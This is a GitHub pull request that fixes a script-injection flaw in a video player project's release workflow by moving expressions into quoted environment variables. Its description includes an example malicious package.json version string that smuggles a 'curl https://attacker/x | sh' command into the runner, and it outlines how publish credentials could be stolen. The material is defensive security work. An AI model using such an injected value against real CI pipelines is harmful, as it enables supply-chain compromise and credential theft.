fix(ci): move workflow expressions into env to prevent script injection in release.yml - #1075
Open
nathanmelamed-cloudinary wants to merge 1 commit into
Open
Conversation
The release workflow interpolated ${{ }} expressions directly into run:
scripts. GitHub substitutes these textually before bash parses the script,
so any value containing shell metacharacters is executed.
The reachable case: publish-edge read the version string out of package.json
and interpolated it unquoted inside a command substitution:
next_version=$(npx semver ${{ steps.get_version.outputs.current_version }} -i patch)
package.json is writable by any contributor via pull request. Once merged to
master the push trigger fires and the crafted version string runs as shell on
the runner - in the same job that holds the npm publish credential and
contents: write.
All ${{ }} expressions are moved out of run: bodies into step-level env and
referenced as quoted shell variables. No behaviour change.
✅ Deploy Preview for cld-video-player ready!
To edit notification comments on pull requests, go to your Netlify project configuration. |
✅ Deploy Preview for cld-vp-esm-pages ready!
To edit notification comments on pull requests, go to your Netlify project configuration. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
Moves every
${{ }}expression out ofrun:script bodies in.github/workflows/release.ymland into step-levelenv:, referencing them as quoted shell variables instead.No behaviour change. Same logic, same outputs.
Why
GitHub Actions substitutes
${{ }}into the script textually, before bash parses it. Any value containing shell metacharacters becomes code.The reachable case is in
publish-edge:next_version=$(npx semver ${{ steps.get_version.outputs.current_version }} -i patch)current_versionis read straight out ofpackage.json:current_version=$(node -p "require('./package.json').version")package.jsonis editable by anyone through a pull request. This repository is public. The workflow triggers onpushtomaster, so a merged PR fires it.A version string like
1.0.0"; curl https://attacker/x | sh; #is interpolated unquoted inside a command substitution and executes on the runner.Blast radius: that runner step is in the same job as
Publish to NPM, and the workflow grantscontents: writeandid-token: write. An attacker who lands code there can exfiltrate the npm publish credential andBOT_TOKEN, and push to this repository — a supply-chain path into every consumer ofcloudinary-video-player.The unquoted
${{ steps.get_next_version.outputs.version }}in thegit rev-parse/git checkout/git pushsteps is the same class of bug and is fixed too.Verification
release.ymlparses as valid YAML; all 6 jobs intactrun:body passesbash -n${{ }}expressions remain inside anyrun:blockif:,with:,outputs:orneeds:expression — those are evaluated by Actions, not by the shell, and are safe where they areReported by
Wiz control
wc-id-3141"Publicly exposed high-privilege CI workflow vulnerable to script injection" (CRITICAL) andwc-id-3432(CRITICAL, secrets access), on workflow🚀 Release.🤖 Generated with Claude Code